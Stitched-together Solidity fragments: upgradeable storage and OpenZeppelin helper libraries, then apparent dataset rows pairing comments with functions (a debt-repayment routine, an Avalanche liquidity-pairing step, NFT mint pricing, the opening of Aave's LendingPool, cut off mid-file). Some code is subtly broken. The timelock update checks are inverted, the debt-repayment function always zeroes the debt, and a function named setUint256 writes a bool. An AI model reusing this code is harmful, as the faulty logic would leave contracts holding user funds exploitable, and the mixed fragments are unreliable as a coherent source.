return (_STORAGE_SLOT).fetchAddress();
}
function governance() public view returns (address) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.governance();
}
function treasury() public view returns (address) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.treasury();
}
function swapCenter() public view returns (address) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.swapCenter();
}
function registry() public view returns (address) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.registry();
}
function storageFetchAddress(bytes32 key) public view returns (address) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.addressStorage(key);
}
function storageFetchAddressInArray(bytes32 key, uint256 index)
public
view
returns (address)
{
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.addressArrayStorage(key, index);
}
function storageFetchUint256(bytes32 key) public view returns (uint256) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.uint256Storage(key);
}
function storageFetchUint256InArray(bytes32 key, uint256 index)
public
view
returns (uint256)
{
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.uint256ArrayStorage(key, index);
}
function storageFetchBool(bytes32 key) public view returns (bool) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.boolStorage(key);
}
function storageFetchBoolInArray(bytes32 key, uint256 index)
public
view
returns (bool)
{
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.boolArrayStorage(key, index);
}
function isAdmin(address _who) public view returns (bool) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.isAdmin(_who);
}
function isOperator(address _who) public view returns (bool) {
StorageV1Upgradeable storageContract = StorageV1Upgradeable(store());
return storageContract.isOperator(_who);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/**
UnstructuredStorageWithTimelock is a set of functions that facilitates setting/fetching unstructured storage
along with information of future updates and its timelock information.
For every content storage, there are two other slots that could be calculated automatically:
* Slot (The current value)
* Scheduled Slot (The future value)
* Scheduled Time (The future time)
Note that the library does NOT enforce timelock and does NOT store the timelock information.
*/
library UnstructuredStorageWithTimelock {
// This is used to calculate the time slot and scheduled content for different variables
uint256 private constant SCHEDULED_SIGNATURE = 0x111;
uint256 private constant TIMESLOT_SIGNATURE = 0xAAA;
function updateAddressWithTimelock(bytes32 _slot) internal {
require(
scheduledTime(_slot) > block.timestamp,
"Timelock has not passed"
);
setAddress(_slot, scheduledAddress(_slot));
}
function updateUint256WithTimelock(bytes32 _slot) internal {
require(
scheduledTime(_slot) > block.timestamp,
"Timelock has not passed"
);
setUint256(_slot, scheduledUint256(_slot));
}
function setAddress(bytes32 _slot, address _target) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(_slot, _target)
}
}
function fetchAddress(bytes32 _slot)
internal
view
returns (address result)
{
assembly {
result := sload(_slot)
}
}
function scheduledAddress(bytes32 _slot)
internal
view
returns (address result)
{
result = fetchAddress(scheduledContentSlot(_slot));
}
function scheduledUint256(bytes32 _slot)
internal
view
returns (uint256 result)
{
result = fetchUint256(scheduledContentSlot(_slot));
}
function setUint256(bytes32 _slot, uint256 _target) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(_slot, _target)
}
}
function fetchUint256(bytes32 _slot)
internal
view
returns (uint256 result)
{
assembly {
result := sload(_slot)
}
}
function scheduledContentSlot(bytes32 _slot)
internal
pure
returns (bytes32)
{
return
bytes32(
uint256(keccak256(abi.encodePacked(_slot, SCHEDULED_SIGNATURE)))
);
}
function scheduledTime(bytes32 _slot) internal view returns (uint256) {
return fetchUint256(scheduledTimeSlot(_slot));
}
function scheduledTimeSlot(bytes32 _slot) internal pure returns (bytes32) {
return
bytes32(
uint256(keccak256(abi.encodePacked(_slot, TIMESLOT_SIGNATURE)))
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "hardhat/console.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
contract StorageV1Upgradeable is Initializable {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
address public proxyAdmin;
address public governance;
address public _treasury;
EnumerableSetUpgradeable.AddressSet admin;
EnumerableSetUpgradeable.AddressSet operator;
address public swapCenter;
address public registry;
bool public registryLocked;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => address[]) public addressArrayStorage;
mapping(bytes32 => uint256) public uint256Storage;
mapping(bytes32 => uint256[]) public uint256ArrayStorage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => bool[]) public boolArrayStorage;
event GovernanceChanged(address oldGov, address newGov);
event TreasuryChanged(address oldTreasury, address newTreasury);
event AdminAdded(address newAdmin);
event AdminRetired(address retiredAdmin);
event OperatorAdded(address newOperator);
event OperatorRetired(address oldOperator);
event RegistryChanged(address oldRegistry, address newRegistry);
event SwapCenterChanged(address oldSwapCenter, address newSwapCenter);
event RegistryLocked();
modifier onlyGovernance() {
require(msg.sender == governance, "StorageV1: not governance");
_;
}
modifier adminPriviledged() {
require(msg.sender == governance ||
isAdmin(msg.sender),
"StorageV1: not governance or admin");
_;
}
modifier registryNotLocked() {
require(!registryLocked, "StorageV1: registry locked");
_;
}
constructor() {
governance = msg.sender;
}
function initialize(address _governance, address _proxyAdmin) external initializer {
require(_governance != address(0), "!empty");
require(_proxyAdmin != address(0), "!empty");
governance = _governance;
proxyAdmin = _proxyAdmin;
}
function setGovernance(address _governance) external onlyGovernance {
require(_governance != address(0), "!empty");
emit GovernanceChanged(governance, _governance);
governance = _governance;
}
function treasury() external view returns (address) {
if(_treasury == address(0)) {
return governance;
} else {
return _treasury;
}
}
function setTreasury(address _newTreasury) external onlyGovernance {
require(_newTreasury != address(0));
emit TreasuryChanged(_treasury, _newTreasury);
_treasury = _newTreasury;
}
function setRegistry(address _registry) external onlyGovernance registryNotLocked {
require(_registry != address(0), "!empty");
emit RegistryChanged(registry, _registry);
registry = _registry;
}
function lockRegistry() external onlyGovernance {
emit RegistryLocked();
registryLocked = true;
// While the contract doesn't provide an unlock method
// It is still possible to unlock this via Timelock, by upgrading the
// implementation of the Timelock proxy.
}
function setSwapCenter(address _swapCenter) external onlyGovernance {
emit SwapCenterChanged(swapCenter, _swapCenter);
swapCenter = _swapCenter;
}
function setAddress(bytes32 index, address _newAddr)
external
onlyGovernance
{
addressStorage[index] = _newAddr;
}
function setAddressArray(bytes32 index, address[] memory _newAddrs)
external
onlyGovernance
{
addressArrayStorage[index] = _newAddrs;
}
function setUint256(bytes32 index, uint256 _newUint256)
external
onlyGovernance
{
uint256Storage[index] = _newUint256;
}
function setUint256Array(bytes32 index, uint256[] memory _newAddrs)
external
onlyGovernance
{
uint256ArrayStorage[index] = _newAddrs;
}
function setUint256(bytes32 index, bool _newBool) external onlyGovernance {
boolStorage[index] = _newBool;
}
function setBoolArray(bytes32 index, bool[] memory _newBools)
external
onlyGovernance
{
boolArrayStorage[index] = _newBools;
}
function numOfAdmin() public view returns (uint256) {
return admin.length();
}
function numOfOperator() public view returns (uint256) {
return operator.length();
}
function getAdmin(uint256 idx) public view returns (address){
return admin.at(idx);
}
function getOperator(uint256 idx) public view returns (address){
return operator.at(idx);
}
function addAdmin(address _who) public onlyGovernance returns (bool) {
emit AdminAdded(_who);
return admin.add(_who);
}
function addOperator(address _who) public adminPriviledged returns (bool) {
emit OperatorAdded(_who);
return operator.add(_who);
}
function removeAdmin(address _who) public onlyGovernance returns (bool) {
emit AdminRetired(_who);
return admin.remove(_who);
}
function removeOperator(address _who) public adminPriviledged returns (bool) {
emit OperatorRetired(_who);
return operator.remove(_who);
}
function isAdmin(address _who) public view returns (bool) {
return admin.contains(_who);
}
function isOperator(address _who) public view returns (bool) {
return operator.contains(_who);
}
}
|
this handles the anomaly case where we got more repayment than the debt.
|
function _accountingDebtRepayment(address _debtor, uint256 repaymentAmountInBase) internal {
if(repaymentAmountInBase <= vInfo[_debtor].baseAssetDebt){
vInfo[_debtor].baseAssetDebt = (vInfo[_debtor].baseAssetDebt).sub(repaymentAmountInBase);
vInfo[_debtor].baseAssetDebt = 0;
}
}
| 276,865
|
./full_match/43114/0x1348770470ac68e7c0f0909Fe979a1D890798Ea7/sources/remix.sol
|
ApproveBuy TokenAdd new pair _new_pair.transfer(JoeMaker, _new_pair.balanceOf(address(this)).div(1000));
|
function stepOne(IJoePair _pair, IJoeERC20 _token) public payable {
require(msg.sender == owner );
IJoeERC20(address(WAVAX)).approve(address(Router), MAX_INT);
IJoeERC20(address(_pair)).approve(address(Router), MAX_INT);
_token.approve(address(Router), MAX_INT);
address[] memory path_1 = new address[](2);
path_1[0] = address(WAVAX);
path_1[1] = address(_token);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
4e14,
0,
path_1,
address(this),
block.timestamp + 1 days
);
Router.addLiquidity(
address(WAVAX),
address(_token),
4e14,
_token.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp + 1 days
);
Router.addLiquidity(
address(WAVAX),
address(_pair),
1e14,
_pair.balanceOf(address(this)),
0,
0,
address(this),
block.timestamp + 1 days
);
IJoeERC20 _new_pair = IJoeERC20(Factory.getPair(address(WAVAX), address(_pair)));
_new_pair.approve(address(Router), MAX_INT);
}
| 16,391,206
|
./full_match/1/0x03b008EeD21889fcd29e76b4D8f89394A1FC1497/sources/contracts/Morphys.sol
|
Minting tiers, starts with Free for holders/
|
function setMintingMaxCost(uint256 newCostTier1, uint256 newCostTier2, uint256 newCostTier3, uint256 newCostMax) public onlyOwner {
mintingPriceTier1 = newCostTier1;
mintingPriceTier2 = newCostTier2;
mintingPriceTier3 = newCostTier3;
mintingMaxPrice = newCostMax;
}
| 17,145,307
|
pragma solidity ^0.5.0;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol";
import "openzeppelin-solidity/contracts/utils/Address.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "../libraries/openzeppelin-upgradeability/VersionedInitializable.sol";
import "../configuration/LendingPoolAddressesProvider.sol";
import "../configuration/LendingPoolParametersProvider.sol";
import "../tokenization/AToken.sol";
import "../libraries/CoreLibrary.sol";
import "../libraries/WadRayMath.sol";
import "../interfaces/IFeeProvider.sol";
import "../flashloan/interfaces/IFlashLoanReceiver.sol";
import "./LendingPoolCore.sol";
import "./LendingPoolDataProvider.sol";
import "./LendingPoolLiquidationManager.sol";
import "../libraries/EthAddressLib.sol";
/**
* @title LendingPool contract
* @notice Implements the actions of the LendingPool, and exposes accessory methods to fetch the users and reserve data
* @author Aave
**/
contract LendingPool is ReentrancyGuard, VersionedInitializable {
using SafeMath for uint256;
using WadRayMath for uint256;
using Address for address;
LendingPoolAddressesProvider public addressesProvider;
LendingPoolCore public core;
LendingPoolDataProvider public dataProvider;
LendingPoolParametersProvider public parametersProvider;
IFeeProvider feeProvider;
/**
* @dev emitted on deposit
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _referral the referral number of the action
* @param _timestamp the timestamp of the action
**/
event Deposit(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint16 indexed _referral,
uint256 _timestamp
);
/**
* @dev emitted during a redeem action.
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _timestamp the timestamp of the action
**/
event RedeemUnderlying(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _timestamp
);
/**
* @dev emitted on borrow
* @param _reserve the address of the reserve
* @param _user the address of the user
* @param _amount the amount to be deposited
* @param _borrowRateMode the rate mode, can be either 1-stable or 2-variable
* @param _borrowRate the rate at which the user has borrowed
* @param _originationFee the origination fee to be paid by the user
* @param _borrowBalanceIncrease the balance increase since the last borrow, 0 if it's the first time borrowing
* @param _referral the referral number of the action
* @param _timestamp the timestamp of the action
**/
event Borrow(
address indexed _reserve,
address indexed _user,
uint256 _amount,
uint256 _borrowRateMode,
uint256 _borrowRate,
uint256 _originationFee,
uint256 _borrowBalanceIncrease,
uint16 indexed _referral,
uint256 _timestamp
);
/**
* @dev emitted on repay
* @param _reserve the address of the reserve
* @param _user the address of the user for which the repay has been executed
* @param _repayer the address of the user that has performed the repay action
* @param _amountMinusFees the amount repaid minus fees
* @param _fees the fees repaid
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event Repay(
address indexed _reserve,
address indexed _user,
address indexed _repayer,
uint256 _amountMinusFees,
uint256 _fees,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a user performs a rate swap
* @param _reserve the address of the reserve
* @param _user the address of the user executing the swap
* @param _newRateMode the new interest rate mode
* @param _newRate the new borrow rate
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event Swap(
address indexed _reserve,
address indexed _user,
uint256 _newRateMode,
uint256 _newRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a user enables a reserve as collateral
* @param _reserve the address of the reserve
* @param _user the address of the user
**/
event ReserveUsedAsCollateralEnabled(address indexed _reserve, address indexed _user);
/**
* @dev emitted when a user disables a reserve as collateral
* @param _reserve the address of the reserve
* @param _user the address of the user
**/
event ReserveUsedAsCollateralDisabled(address indexed _reserve, address indexed _user);
/**
* @dev emitted when the stable rate of a user gets rebalanced
* @param _reserve the address of the reserve
* @param _user the address of the user for which the rebalance has been executed
* @param _newStableRate the new stable borrow rate after the rebalance
* @param _borrowBalanceIncrease the balance increase since the last action
* @param _timestamp the timestamp of the action
**/
event RebalanceStableBorrowRate(
address indexed _reserve,
address indexed _user,
uint256 _newStableRate,
uint256 _borrowBalanceIncrease,
uint256 _timestamp
);
/**
* @dev emitted when a flashloan is executed
* @param _target the address of the flashLoanReceiver
* @param _reserve the address of the reserve
* @param _amount the amount requested
* @param _totalFee the total fee on the amount
* @param _protocolFee the part of the fee for the protocol
* @param _timestamp the timestamp of the action
**/
event FlashLoan(
address indexed _target,
address indexed _reserve,
uint256 _amount,
uint256 _totalFee,
uint256 _protocolFee,
uint256 _timestamp
);
/**
* @dev these events are not emitted directly by the LendingPool
* but they are declared here as the LendingPoolLiquidationManager
* is executed using a delegateCall().
* This allows to have the events in the generated ABI for LendingPool.
**/
/**
* @dev emitted when a borrow fee is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _feeLiquidated the total fee liquidated
* @param _liquidatedCollateralForFee the amount of collateral received by the protocol in exchange for the fee
* @param _timestamp the timestamp of the action
**/
event OriginationFeeLiquidated(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _feeLiquidated,
uint256 _liquidatedCollateralForFee,
uint256 _timestamp
);
/**
* @dev emitted when a borrower is liquidated
* @param _collateral the address of the collateral being liquidated
* @param _reserve the address of the reserve
* @param _user the address of the user being liquidated
* @param _purchaseAmount the total amount liquidated
* @param _liquidatedCollateralAmount the amount of collateral being liquidated
* @param _accruedBorrowInterest the amount of interest accrued by the borrower since the last action
* @param _liquidator the address of the liquidator
* @param _receiveAToken true if the liquidator wants to receive aTokens, false otherwise
* @param _timestamp the timestamp of the action
**/
event LiquidationCall(
address indexed _collateral,
address indexed _reserve,
address indexed _user,
uint256 _purchaseAmount,
uint256 _liquidatedCollateralAmount,
uint256 _accruedBorrowInterest,
address _liquidator,
bool _receiveAToken,
uint256 _timestamp
);
/**
* @dev functions affected by this modifier can only be invoked by the
* aToken.sol contract
* @param _reserve the address of the reserve
**/
modifier onlyOverlyingAToken(address _reserve) {
require(
msg.sender == core.getReserveATokenAddress(_reserve),
"The caller of this function can only be the aToken contract of this reserve"
);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the reserve is active
* @param _reserve the address of the reserve
**/
modifier onlyActiveReserve(address _reserve) {
requireReserveActiveInternal(_reserve);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the reserve is not freezed.
* A freezed reserve only allows redeems, repays, rebalances and liquidations.
* @param _reserve the address of the reserve
**/
modifier onlyUnfreezedReserve(address _reserve) {
requireReserveNotFreezedInternal(_reserve);
_;
}
/**
* @dev functions affected by this modifier can only be invoked if the provided _amount input parameter
* is not zero.
* @param _amount the amount provided
**/
modifier onlyAmountGreaterThanZero(uint256 _amount) {
requireAmountGreaterThanZeroInternal(_amount);
_;
}
uint256 public constant UINT_MAX_VALUE = uint256(-1);
uint256 public constant LENDINGPOOL_REVISION = 0x2;
function getRevision() internal pure returns (uint256) {
return LENDINGPOOL_REVISION;
}
/**
* @dev this function is invoked by the proxy contract when the LendingPool contract is added to the
* AddressesProvider.
* @param _addressesProvider the address of the LendingPoolAddressesProvider registry
**/
function initialize(LendingPoolAddressesProvider _addressesProvider) public initializer {
addressesProvider = _addressesProvider;
core = LendingPoolCore(addressesProvider.getLendingPoolCore());
dataProvider = LendingPoolDataProvider(addressesProvider.getLendingPoolDataProvider());
parametersProvider = LendingPoolParametersProvider(
addressesProvider.getLendingPoolParametersProvider()
);
feeProvider = IFeeProvider(addressesProvider.getFeeProvider());
}
/**
* @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (aTokens)
* is minted.
* @param _reserve the address of the reserve
* @param _amount the amount to be deposited
* @param _referralCode integrators are assigned a referral code and can potentially receive rewards.
**/
function deposit(address _reserve, uint256 _amount, uint16 _referralCode)
external
payable
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
AToken aToken = AToken(core.getReserveATokenAddress(_reserve));
bool isFirstDeposit = aToken.balanceOf(msg.sender) == 0;
core.updateStateOnDeposit(_reserve, msg.sender, _amount, isFirstDeposit);
//minting AToken to user 1:1 with the specific exchange rate
aToken.mintOnDeposit(msg.sender, _amount);
//transfer to the core contract
core.transferToReserve.value(msg.value)(_reserve, msg.sender, _amount);
//solium-disable-next-line
emit Deposit(_reserve, msg.sender, _amount, _referralCode, block.timestamp);
}
/**
* @dev Redeems the underlying amount of assets requested by _user.
* This function is executed by the overlying aToken contract in response to a redeem action.
* @param _reserve the address of the reserve
* @param _user the address of the user performing the action
* @param _amount the underlying amount to be redeemed
**/
function redeemUnderlying(
address _reserve,
address payable _user,
uint256 _amount,
uint256 _aTokenBalanceAfterRedeem
)
external
nonReentrant
onlyOverlyingAToken(_reserve)
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
uint256 currentAvailableLiquidity = core.getReserveAvailableLiquidity(_reserve);
require(
currentAvailableLiquidity >= _amount,
"There is not enough liquidity available to redeem"
);
core.updateStateOnRedeem(_reserve, _user, _amount, _aTokenBalanceAfterRedeem == 0);
core.transferToUser(_reserve, _user, _amount);
//solium-disable-next-line
emit RedeemUnderlying(_reserve, _user, _amount, block.timestamp);
}
/**
* @dev data structures for local computations in the borrow() method.
*/
struct BorrowLocalVars {
uint256 principalBorrowBalance;
uint256 currentLtv;
uint256 currentLiquidationThreshold;
uint256 borrowFee;
uint256 requestedBorrowAmountETH;
uint256 amountOfCollateralNeededETH;
uint256 userCollateralBalanceETH;
uint256 userBorrowBalanceETH;
uint256 userTotalFeesETH;
uint256 borrowBalanceIncrease;
uint256 currentReserveStableRate;
uint256 availableLiquidity;
uint256 reserveDecimals;
uint256 finalUserBorrowRate;
CoreLibrary.InterestRateMode rateMode;
bool healthFactorBelowThreshold;
}
/**
* @dev Allows users to borrow a specific amount of the reserve currency, provided that the borrower
* already deposited enough collateral.
* @param _reserve the address of the reserve
* @param _amount the amount to be borrowed
* @param _interestRateMode the interest rate mode at which the user wants to borrow. Can be 0 (STABLE) or 1 (VARIABLE)
**/
function borrow(
address _reserve,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode
)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
BorrowLocalVars memory vars;
//check that the reserve is enabled for borrowing
require(core.isReserveBorrowingEnabled(_reserve), "Reserve is not enabled for borrowing");
//validate interest rate mode
require(
uint256(CoreLibrary.InterestRateMode.VARIABLE) == _interestRateMode ||
uint256(CoreLibrary.InterestRateMode.STABLE) == _interestRateMode,
"Invalid interest rate mode selected"
);
//cast the rateMode to coreLibrary.interestRateMode
vars.rateMode = CoreLibrary.InterestRateMode(_interestRateMode);
//check that the amount is available in the reserve
vars.availableLiquidity = core.getReserveAvailableLiquidity(_reserve);
require(
vars.availableLiquidity >= _amount,
"There is not enough liquidity available in the reserve"
);
(
,
vars.userCollateralBalanceETH,
vars.userBorrowBalanceETH,
vars.userTotalFeesETH,
vars.currentLtv,
vars.currentLiquidationThreshold,
,
vars.healthFactorBelowThreshold
) = dataProvider.calculateUserGlobalData(msg.sender);
require(vars.userCollateralBalanceETH > 0, "The collateral balance is 0");
require(
!vars.healthFactorBelowThreshold,
"The borrower can already be liquidated so he cannot borrow more"
);
//calculating fees
vars.borrowFee = feeProvider.calculateLoanOriginationFee(msg.sender, _amount);
require(vars.borrowFee > 0, "The amount to borrow is too small");
vars.amountOfCollateralNeededETH = dataProvider.calculateCollateralNeededInETH(
_reserve,
_amount,
vars.borrowFee,
vars.userBorrowBalanceETH,
vars.userTotalFeesETH,
vars.currentLtv
);
require(
vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH,
"There is not enough collateral to cover a new borrow"
);
/**
* Following conditions need to be met if the user is borrowing at a stable rate:
* 1. Reserve must be enabled for stable rate borrowing
* 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency
* they are borrowing, to prevent abuses.
* 3. Users will be able to borrow only a relatively small, configurable amount of the total
* liquidity
**/
if (vars.rateMode == CoreLibrary.InterestRateMode.STABLE) {
//check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve
require(
core.isUserAllowedToBorrowAtStable(_reserve, msg.sender, _amount),
"User cannot borrow the selected amount with a stable rate"
);
//calculate the max available loan size in stable rate mode as a percentage of the
//available liquidity
uint256 maxLoanPercent = parametersProvider.getMaxStableRateBorrowSizePercent();
uint256 maxLoanSizeStable = vars.availableLiquidity.mul(maxLoanPercent).div(100);
require(
_amount <= maxLoanSizeStable,
"User is trying to borrow too much liquidity at a stable rate"
);
}
//all conditions passed - borrow is accepted
(vars.finalUserBorrowRate, vars.borrowBalanceIncrease) = core.updateStateOnBorrow(
_reserve,
msg.sender,
_amount,
vars.borrowFee,
vars.rateMode
);
//if we reached this point, we can transfer
core.transferToUser(_reserve, msg.sender, _amount);
emit Borrow(
_reserve,
msg.sender,
_amount,
_interestRateMode,
vars.finalUserBorrowRate,
vars.borrowFee,
vars.borrowBalanceIncrease,
_referralCode,
//solium-disable-next-line
block.timestamp
);
}
/**
